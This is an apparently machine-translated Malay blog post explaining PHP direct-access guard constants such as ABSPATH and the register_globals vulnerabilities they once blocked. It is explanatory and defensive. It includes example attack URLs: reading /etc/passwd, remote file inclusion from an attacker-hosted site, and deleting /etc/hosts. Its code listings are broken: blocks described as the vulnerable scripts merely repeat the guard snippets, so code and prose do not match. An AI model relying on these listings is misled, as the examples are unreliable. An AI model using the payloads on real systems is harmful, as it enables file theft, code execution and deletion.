Rumah  >  Artikel  >  pembangunan bahagian belakang  >  Kod PHP aneh dalam rangka kerja dan CMS

Kod PHP aneh dalam rangka kerja dan CMS

Barbara Streisand
Barbara Streisandasal
2024-11-12 07:56:02634semak imbas

Ese extraño código PHP en frameworks y CMS

Nota: untuk mengikuti siaran ini diandaikan bahawa anda mempunyai pengetahuan pengaturcaraan yang minimum dalam PHP.

Siaran ini adalah mengenai serpihan kod PHP yang mungkin anda lihat di bahagian atas CMS atau rangka kerja kegemaran anda dan yang anda mungkin pernah baca yang anda harus sentiasa sertakan, untuk keselamatan, dalam pengepala semua fail PHP yang anda berkembang, walaupun tanpa penjelasan yang sangat jelas mengapa. Saya merujuk kepada kod ini:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

Kod jenis ini sangat biasa dalam fail WordPress, walaupun ia sebenarnya muncul dalam hampir semua rangka kerja dan CMS. Dalam kes CMS Joomla, sebagai contoh, satu-satunya perkara yang berubah ialah, bukannya ABSPATH, JEXEC digunakan. Jika tidak, logiknya adalah sama. CMS ini timbul daripada satu lagi yang dipanggil Mambo, yang juga menggunakan kod serupa, tetapi dengan _VALID_MOS sebagai pemalar. Jika kita kembali lebih jauh dalam masa, kita akan mendapati bahawa CMS pertama yang menggunakan jenis kod ini ialah PHP-Nuke (dianggap oleh sesetengah pihak sebagai CMS pertama dalam PHP).

Aliran pelaksanaan PHP-Nuke (dan kebanyakan CMS serta rangka kerja hari ini) terdiri daripada memuatkan beberapa fail secara berurutan yang, bersama-sama, bertindak balas terhadap tindakan yang dilakukan oleh pengguna atau pelawat di web. Iaitu, bayangkan tapak web dari masa itu, di bawah domain example.net dan dengan CMS ini dipasang. Setiap kali halaman utama dimuatkan, sistem melaksanakan urutan fail dengan teratur (dalam kes ini ia hanyalah contoh, bukan urutan sebenar): index.php => load_modules.php => modules.php. Iaitu, dalam urutan ini, index.php dimuatkan dahulu, kemudian skrip ini memuatkan load_modules.php, dan ini pula modules.php.

Rantai pelaksanaan ini tidak selalu bermula dengan fail pertama (index.php). Malah, sesiapa sahaja boleh melangkau sebahagian daripada aliran ini dengan memanggil terus salah satu fail PHP lain melalui URLnya (cth. http://example.net/load_modules.php atau http://example.net/modules.php) , yang , seperti yang akan kita lihat, boleh berbahaya dalam banyak kes.

Bagaimana masalah ini diselesaikan? Langkah keselamatan telah diperkenalkan, menambahkan kod pada permulaan setiap fail, serupa dengan ini:

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

Pada asasnya, kod ini, terletak dalam pengepala fail yang dipanggil modules.php, disemak untuk melihat sama ada modules.php sedang diakses terus melalui URL. Jika ya, pelaksanaan telah dihentikan, memaparkan mesej: "Anda tidak boleh mengakses fail ini secara langsung...". Jika $HTTP_SERVER_VARS['PHP_SELF'] tidak mengandungi modules.php, maka ini bermakna kami berada dalam aliran biasa pelaksanaan dan dibenarkan untuk meneruskan.

Kod ini, bagaimanapun, mempunyai beberapa had. Pertama, kod itu berbeza untuk setiap fail yang dimasukkan ke dalamnya, yang menambah kerumitan. Selain itu, dalam keadaan tertentu, PHP tidak memberikan nilai kepada $HTTP_SERVER_VARS['PHP_SELF'], yang mengehadkan keberkesanannya.

Jadi apa yang dilakukan oleh pembangun? Mereka menggantikan semua serpihan kod tersebut dengan versi yang lebih ringkas dan cekap:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

Dalam kod baharu ini, yang sudah biasa dalam komuniti PHP, kewujudan pemalar telah disahkan. Pemalar ini ditakrifkan dan diberikan nilai dalam fail pertama aliran (index.php atau home.php atau beberapa fail yang serupa). Oleh itu, jika pemalar ini tidak wujud dalam beberapa fail lain dalam strim, ini bermakna seseorang telah melangkau fail index.php dan cuba mengakses fail lain secara terus.

Bahaya seseorang melancarkan fail PHP secara langsung

Pasti pada ketika ini anda berfikir bahawa memutuskan rantaian pelaksanaan mesti menjadi perkara yang paling serius di dunia. Walau bagaimanapun, realitinya ialah, biasanya, ia tidak mewakili bahaya yang ketara.

Bahaya boleh timbul apabila ralat PHP mendedahkan laluan ke fail kami. Ini tidak seharusnya membimbangkan kami jika kami mempunyai penindasan ralat yang dikonfigurasikan pada pelayan, dan, walaupun ralat tidak disembunyikan, maklumat yang terdedah akan menjadi minimum, memberikan hanya beberapa petunjuk kepada kemungkinan penyerang.

Ia juga boleh berlaku bahawa seseorang mengakses fail yang mengandungi serpihan HTML (daripada paparan), mendedahkan sebahagian daripada kandungan mereka. Dalam kebanyakan kes, ini juga tidak patut dibimbangkan.

Akhirnya, mungkin berlaku bahawa pembangun, sama ada disebabkan oleh ketidakpedulian atau kekurangan pengalaman, memasukkan kod berbahaya tanpa pergantungan luaran di tengah-tengah aliran pelaksanaan. Ini adalah sangat luar biasa, kerana biasanya kod rangka kerja atau CMS bergantung pada kelas lain, fungsi atau pembolehubah luaran untuk pelaksanaannya. Oleh itu, jika anda cuba menjalankan skrip terus melalui URL, ia akan gagal menemui kebergantungan ini dan tidak akan meneruskan pelaksanaan.

Jadi mengapa menambah kod tetap jika hampir tidak ada sebab untuk membimbangkan? Sebabnya ialah: "Kaedah ini juga menghalang suntikan pembolehubah yang tidak disengajakan melalui serangan pada register globals, menghalang fail PHP daripada menganggap ia berada di dalam aplikasi apabila ia benar-benar tidak ada."

Daftar globals

Sejak permulaan PHP, semua pembolehubah yang dihantar melalui URL (GET) atau borang (POST) ditukar secara automatik kepada global. Iaitu, jika fail download.php?filepath=/etc/passwd telah diakses, dalam fail download.php (dan dalam fail yang bergantung padanya dalam aliran pelaksanaan) echo $filepath boleh digunakan; dan hasilnya ialah /etc/passwd.

Dalam download.php, tiada cara untuk mengetahui sama ada pembolehubah $filepath telah dibuat oleh fail sebelumnya dalam aliran pelaksanaan atau jika seseorang telah menipunya melalui URL atau dengan POST. Ini menghasilkan lubang keselamatan yang besar. Mari lihat dengan contoh, dengan mengandaikan bahawa fail download.php mengandungi kod berikut:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

Pemaju mungkin berfikir tentang melaksanakan kodnya dengan corak Pengawal Hadapan, iaitu, membuat semua permintaan web melalui satu fail input (index.php, home.php, dll.). Fail ini akan bertanggungjawab untuk memulakan sesi, memuatkan pembolehubah biasa dan akhirnya, mengubah hala permintaan ke skrip tertentu (dalam kes ini download.php) untuk memuat turun fail.

Walau bagaimanapun, penyerang boleh memintas urutan pelaksanaan yang dirancang dengan hanya memanggil download.php?filepath=/etc/passwd seperti yang dinyatakan sebelum ini. Oleh itu, PHP secara automatik akan mencipta pembolehubah global $filepath dengan nilai /etc/passwd, membenarkan penyerang memuat turun fail tersebut daripada sistem. Kesilapan yang serius.

Ini hanyalah puncak gunung ais, kerana serangan yang lebih berbahaya boleh dilakukan dengan usaha yang minimum. Contohnya, dalam kod seperti berikut, yang mungkin ditinggalkan oleh pengaturcara sebagai skrip yang belum selesai:

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

Penyerang boleh melaksanakan sebarang kod menggunakan serangan Rangkuman Fail Jauh (RFI). Oleh itu, jika penyerang mencipta fail My.class.php di laman webnya sendiri https://mysite.net dengan mana-mana kod yang dia mahu laksanakan, dia boleh memanggil skrip yang terdedah dengan memberikannya domainnya: codigo_inutil.php?base_path= https:// mysite.net, dan serangan telah selesai.

Contoh lain: dalam skrip yang dipanggil remove_file.inc.php dengan kod berikut:

<?php

if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}

penyerang boleh memanggil fail ini terus menggunakan URL seperti remove_file.inc.php?filename=/etc/hosts, dan dengan itu cuba memadam fail /etc/hosts daripada sistem (jika sistem membenarkannya, atau lain-lain fail yang anda mempunyai kebenaran memadamkannya).

Dalam CMS seperti WordPress, yang turut menggunakan pembolehubah global secara dalaman, jenis serangan ini amat dahsyat. Walau bagaimanapun, terima kasih kepada teknik yang berterusan, ini dan skrip PHP yang lain telah dilindungi. Mari lihat dengan contoh terakhir:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

Sekarang, jika seseorang cuba mengakses remove_file.inc.php?filename=/etc/hosts, pemalar akan menyekat akses. Ia adalah penting bahawa ia adalah pemalar, kerana jika ia adalah pembolehubah, sudah tentu, penyerang boleh menyuntiknya.

Pada ketika ini anda mungkin tertanya-tanya mengapa PHP mengekalkan fungsi ini jika ia sangat berbahaya. Juga, jika anda mengetahui bahasa skrip lain (JSP, Ruby, dll.), anda akan melihat bahawa mereka tidak mempunyai sesuatu yang serupa (itulah sebabnya mereka tidak menggunakan teknik tetap sama ada). Mari kita ingat bahawa PHP dilahirkan sebagai sistem templat dalam C, dan tingkah laku ini memudahkan pembangunan. Berita baiknya ialah, melihat masalah yang ditimbulkannya, penyelenggara PHP memutuskan untuk memperkenalkan arahan dalam php.ini yang dipanggil register_globals (diaktifkan secara lalai) untuk membenarkan melumpuhkan fungsi ini.

Tetapi memandangkan masalah berterusan, mereka melumpuhkannya secara lalai. Walaupun begitu, banyak hos terus mendayakannya kerana bimbang projek pelanggan mereka akan berhenti berfungsi, kerana kebanyakan kod pada masa itu tidak menggunakan pembolehubah HTTP_*_VARS yang disyorkan untuk mengakses nilai GET/POST/..., tetapi pembolehubah global.

Akhirnya, melihat keadaan tidak berubah, mereka membuat keputusan drastik: hapuskan fungsi ini dalam PHP 5.4 untuk mengelakkan semua masalah ini. Oleh itu, pada masa kini, skrip seperti yang telah kita lihat (tanpa menggunakan pemalar) tidak lagi biasanya mendatangkan bahaya, kecuali untuk beberapa amaran/notis yang tidak berbahaya dalam kes tertentu.

gunakan hari ini

Hari ini, teknik berterusan masih biasa. Walau bagaimanapun, apa yang menyedihkan—dan sebab yang membawa kepada siaran ini—adalah beberapa pembangun mengetahui sebab sebenar penggunaannya.

Seperti amalan baik masa lalu yang lain (seperti menyalin parameter dalam fungsi kepada pembolehubah tempatan untuk mengelakkan bahaya dengan rujukan dalam panggilan, atau menggunakan garis bawah dalam pembolehubah peribadi untuk membezakannya), ramai yang masih menggunakannya hanya kerana seseorang pernah memberitahu mereka bahawa ia adalah amalan yang baik, tanpa mengambil kira sama ada ia benar-benar menambah nilai pada zaman semasa. Realitinya ialah, dalam majoriti kes, teknik ini tidak lagi diperlukan.

Beberapa sebab mengapa amalan ini hilang kaitan adalah seperti berikut:

  • Kehilangan *register globals: Sejak PHP 5.4, fungsi mendaftarkan pembolehubah GET dan POST sebagai pembolehubah global PHP tidak lagi wujud. Seperti yang telah kita lihat, tanpa *register globals, pelaksanaan skrip individu menjadi tidak berbahaya, menghapuskan sebab utama amalan ini.

  • Reka bentuk yang lebih baik dalam kod semasa: Walaupun dalam versi sebelum PHP 5.4, kod moden direka bentuk dengan lebih baik, berstruktur dalam kelas dan fungsi, yang merumitkan akses atau manipulasi melalui pembolehubah luaran. Malah WordPress, yang sering menggunakan pembolehubah global, meminimumkan risiko ini.

  • Penggunaan *pengawal hadapan: Pada masa kini, kebanyakan aplikasi web menggunakan *pengawal hadapan yang direka dengan baik, yang memastikan kod Kelas dan fungsi akan hanya boleh dilaksanakan jika rantai pelaksanaan bermula di titik masuk utama. Jadi tidak mengapa jika seseorang cuba memuat naik fail secara berasingan: logik tidak akan diaktifkan jika aliran tidak dimulakan dari titik yang betul.

  • Pemuatan auto kelas: Memandangkan pemuatan auto kelas digunakan dalam pembangunan semasa, penggunaan termasuk atau memerlukan telah dikurangkan dengan banyak. Ini bermakna, melainkan anda seorang pembangun pemula, seharusnya tiada termasuk atau memerlukan yang boleh menimbulkan risiko (seperti Kemasukan Fail Jauh atau Kemasukan Fail Setempat).

  • Pengasingan kod awam dan peribadi: Dalam kebanyakan CMS dan rangka kerja moden, kod awam (seperti aset) diasingkan daripada kod peribadi (kod pengaturcaraan). Langkah ini amat berharga kerana ia memastikan bahawa jika PHP gagal pada pelayan, kod dalam fail PHP (sama ada mereka menggunakan teknik malar atau tidak) tidak didedahkan. Walaupun ini tidak dilaksanakan secara khusus untuk mengurangkan mendaftar global, ia membantu mengelakkan isu keselamatan yang lain.

  • Penggunaan lanjutan URL mesra: Pada masa kini, adalah perkara biasa untuk mengkonfigurasi pelayan untuk menggunakan URL mesra, yang sentiasa memaksa satu titik masuk untuk pengaturcaraan. Ini menjadikan hampir mustahil untuk sesiapa sahaja memuat naik fail PHP secara berasingan.

  • Menyekat output ralat dalam pengeluaran: Kebanyakan CMS dan rangka kerja moden menyekat output ralat secara lalai, jadi penyerang tidak dapat mencari petunjuk tentang kerja dalaman aplikasi, sesuatu yang boleh memudahkan jenis lain serangan.

Walaupun teknik ini tidak lagi diperlukan dalam majoriti kes, ini tidak bermakna ia tidak pernah berguna. Sebagai pembangun profesional, adalah penting untuk menganalisis setiap kes dan memutuskan sama ada teknik berterusan adalah relevan dalam konteks khusus di mana anda bekerja. Ini adalah kriteria yang anda harus sentiasa gunakan, walaupun dalam perkara yang anda anggap sebagai amalan baik.

Keraguan? Berikut adalah beberapa petua

Jika anda masih tidak pasti bila hendak menggunakan teknik berterusan, cadangan ini boleh membimbing anda:

  • Sentiasa gunakan teknik jika anda rasa kod anda boleh dijalankan pada versi PHP lebih awal daripada 5.4.
  • Jangan gunakannya jika fail hanya mengandungi takrif kelas.
  • Jangan gunakannya jika fail mengandungi fungsi sahaja.
  • Jangan gunakan jika fail hanya mengandungi HTML/CSS, melainkan HTML mendedahkan beberapa jenis maklumat berharga.
  • Jangan gunakannya jika fail hanya mengandungi pemalar.

Untuk semua perkara lain, jika anda mempunyai keraguan, gunakannya. Dalam kebanyakan kes ia tidak sepatutnya berbahaya dan boleh melindungi anda dalam keadaan yang tidak dijangka, terutamanya jika anda baru bermula. Dengan masa dan pengalaman, anda akan dapat menilai dengan lebih baik bila hendak menggunakan teknik ini dan teknik lain.

Ese extraño código PHP en frameworks y CMS

Teruskan belajar...

  • register_globals - MediaWiki
  • PHP: Menggunakan Register Globals - Manual
  • Kerentanan kemasukan fail jauh [LWN.net]
  • Bugtraq: Lubang keselamatan yang serius dalam Pelayan Tapak Mambo versi 3.0.X

Atas ialah kandungan terperinci Kod PHP aneh dalam rangka kerja dan CMS. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn